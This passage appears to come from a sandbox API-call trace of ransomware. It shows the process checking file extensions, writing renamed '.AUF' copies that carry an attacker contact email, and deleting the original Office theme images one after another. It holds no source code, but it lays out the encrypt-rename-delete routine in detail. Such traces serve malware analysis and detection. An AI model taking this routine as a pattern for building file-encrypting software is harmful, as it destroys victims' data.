Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0212.753] lstrlenW (lpString=".dbf") returned 4 [0212.753] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0212.753] lstrlenW (lpString=".1cd") returned 4 [0212.754] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0212.754] lstrlenW (lpString=".jpg") returned 4 [0212.754] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.754] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0212.754] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0212.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.754] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=5120) returned 1 [0212.754] CloseHandle (hObject=0x1e0) returned 1 [0212.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 0x20 [0212.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.754] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.754] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0212.764] GetLastError () returned 0x0 [0212.764] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x1400, lpOverlapped=0x0) returned 1 [0212.772] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x1410, lpOverlapped=0x0) returned 1 [0212.773] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.773] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.773] SetEndOfFile (hFile=0x184) returned 1 [0212.773] CloseHandle (hObject=0x184) returned 1 [0212.774] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.774] SetEndOfFile (hFile=0x1e0) returned 1 [0212.774] CloseHandle (hObject=0x1e0) returned 1 [0212.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.774] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 1 [0212.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0212.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0212.775] lstrlenW (lpString=".doc") returned 4 [0212.775] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.775] lstrlenW (lpString=".docx") returned 5 [0212.775] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.775] lstrlenW (lpString=".pdf") returned 4 [0212.775] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.775] lstrlenW (lpString=".xls") returned 4 [0212.775] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.775] lstrlenW (lpString=".xlsx") returned 5 [0212.775] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.775] lstrlenW (lpString=".ppt") returned 4 [0212.775] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0212.775] lstrlenW (lpString=".zip") returned 4 [0212.775] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.775] lstrlenW (lpString=".rar") returned 4 [0212.775] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.775] lstrlenW (lpString=".bz2") returned 4 [0212.775] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.775] lstrlenW (lpString=".7z") returned 3 [0212.775] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0212.775] lstrlenW (lpString=".dbf") returned 4 [0212.775] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0212.775] lstrlenW (lpString=".1cd") returned 4 [0212.775] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0212.775] lstrlenW (lpString=".jpg") returned 4 [0212.775] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0212.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0212.776] lstrlenW (lpString=".doc") returned 4 [0212.776] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.776] lstrlenW (lpString=".docx") returned 5 [0212.776] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.776] lstrlenW (lpString=".pdf") returned 4 [0212.776] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.776] lstrlenW (lpString=".xls") returned 4 [0212.776] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.776] lstrlenW (lpString=".xlsx") returned 5 [0212.776] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.776] lstrlenW (lpString=".ppt") returned 4 [0212.776] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0212.776] lstrlenW (lpString=".zip") returned 4 [0212.776] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.776] lstrlenW (lpString=".rar") returned 4 [0212.776] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.776] lstrlenW (lpString=".bz2") returned 4 [0212.776] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.776] lstrlenW (lpString=".7z") returned 3 [0212.776] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0212.776] lstrlenW (lpString=".dbf") returned 4 [0212.776] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0212.776] lstrlenW (lpString=".1cd") returned 4 [0212.776] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0212.776] lstrlenW (lpString=".jpg") returned 4 [0212.776] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.776] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0212.776] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0212.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.777] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=2552) returned 1 [0212.777] CloseHandle (hObject=0x1e0) returned 1 [0212.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20 [0212.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.777] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.777] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0212.778] GetLastError () returned 0x0 [0212.778] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x9f8, lpOverlapped=0x0) returned 1 [0212.783] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0212.784] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.784] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.784] SetEndOfFile (hFile=0x184) returned 1 [0212.784] CloseHandle (hObject=0x184) returned 1 [0212.784] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.784] SetEndOfFile (hFile=0x1e0) returned 1 [0212.785] CloseHandle (hObject=0x1e0) returned 1 [0212.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.785] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 1 [0212.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0212.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0212.785] lstrlenW (lpString=".doc") returned 4 [0212.785] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.785] lstrlenW (lpString=".docx") returned 5 [0212.785] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.785] lstrlenW (lpString=".pdf") returned 4 [0212.785] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.785] lstrlenW (lpString=".xls") returned 4 [0212.785] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.785] lstrlenW (lpString=".xlsx") returned 5 [0212.785] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.785] lstrlenW (lpString=".ppt") returned 4 [0212.785] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0212.785] lstrlenW (lpString=".zip") returned 4 [0212.785] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.785] lstrlenW (lpString=".rar") returned 4 [0212.785] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.785] lstrlenW (lpString=".bz2") returned 4 [0212.785] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.786] lstrlenW (lpString=".7z") returned 3 [0212.786] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0212.786] lstrlenW (lpString=".dbf") returned 4 [0212.786] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0212.786] lstrlenW (lpString=".1cd") returned 4 [0212.786] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0212.786] lstrlenW (lpString=".jpg") returned 4 [0212.786] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0212.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0212.786] lstrlenW (lpString=".doc") returned 4 [0212.786] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.786] lstrlenW (lpString=".docx") returned 5 [0212.786] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.786] lstrlenW (lpString=".pdf") returned 4 [0212.786] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.786] lstrlenW (lpString=".xls") returned 4 [0212.786] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.786] lstrlenW (lpString=".xlsx") returned 5 [0212.786] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.786] lstrlenW (lpString=".ppt") returned 4 [0212.786] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0212.786] lstrlenW (lpString=".zip") returned 4 [0212.786] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.786] lstrlenW (lpString=".rar") returned 4 [0212.786] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.786] lstrlenW (lpString=".bz2") returned 4 [0212.786] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.787] lstrlenW (lpString=".7z") returned 3 [0212.787] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0212.787] lstrlenW (lpString=".dbf") returned 4 [0212.787] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0212.787] lstrlenW (lpString=".1cd") returned 4 [0212.787] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0212.787] lstrlenW (lpString=".jpg") returned 4 [0212.787] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.787] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0212.787] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0212.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.787] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=5179) returned 1 [0212.787] CloseHandle (hObject=0x1e0) returned 1 [0212.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 0x20 [0212.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.788] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.788] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0212.789] GetLastError () returned 0x0 [0212.789] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x143b, lpOverlapped=0x0) returned 1 [0212.808] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x1440, lpOverlapped=0x0) returned 1 [0212.809] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.809] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.809] SetEndOfFile (hFile=0x184) returned 1 [0212.809] CloseHandle (hObject=0x184) returned 1 [0212.810] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.810] SetEndOfFile (hFile=0x1e0) returned 1 [0212.810] CloseHandle (hObject=0x1e0) returned 1 [0212.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.811] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 1 [0212.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0212.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0212.811] lstrlenW (lpString=".doc") returned 4 [0212.811] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.811] lstrlenW (lpString=".docx") returned 5 [0212.811] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.811] lstrlenW (lpString=".pdf") returned 4 [0212.811] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.811] lstrlenW (lpString=".xls") returned 4 [0212.811] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.811] lstrlenW (lpString=".xlsx") returned 5 [0212.811] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.811] lstrlenW (lpString=".ppt") returned 4 [0212.811] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0212.811] lstrlenW (lpString=".zip") returned 4 [0212.811] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.811] lstrlenW (lpString=".rar") returned 4 [0212.811] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.811] lstrlenW (lpString=".bz2") returned 4 [0212.811] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.811] lstrlenW (lpString=".7z") returned 3 [0212.811] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0212.811] lstrlenW (lpString=".dbf") returned 4 [0212.811] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0212.811] lstrlenW (lpString=".1cd") returned 4 [0212.811] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0212.811] lstrlenW (lpString=".jpg") returned 4 [0212.811] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0212.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0212.811] lstrlenW (lpString=".doc") returned 4 [0212.811] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.812] lstrlenW (lpString=".docx") returned 5 [0212.812] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.812] lstrlenW (lpString=".pdf") returned 4 [0212.812] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.812] lstrlenW (lpString=".xls") returned 4 [0212.812] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.812] lstrlenW (lpString=".xlsx") returned 5 [0212.812] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.812] lstrlenW (lpString=".ppt") returned 4 [0212.812] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0212.812] lstrlenW (lpString=".zip") returned 4 [0212.812] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.812] lstrlenW (lpString=".rar") returned 4 [0212.812] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.812] lstrlenW (lpString=".bz2") returned 4 [0212.812] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.812] lstrlenW (lpString=".7z") returned 3 [0212.812] lstrcmpiW (lpString1=".7z", 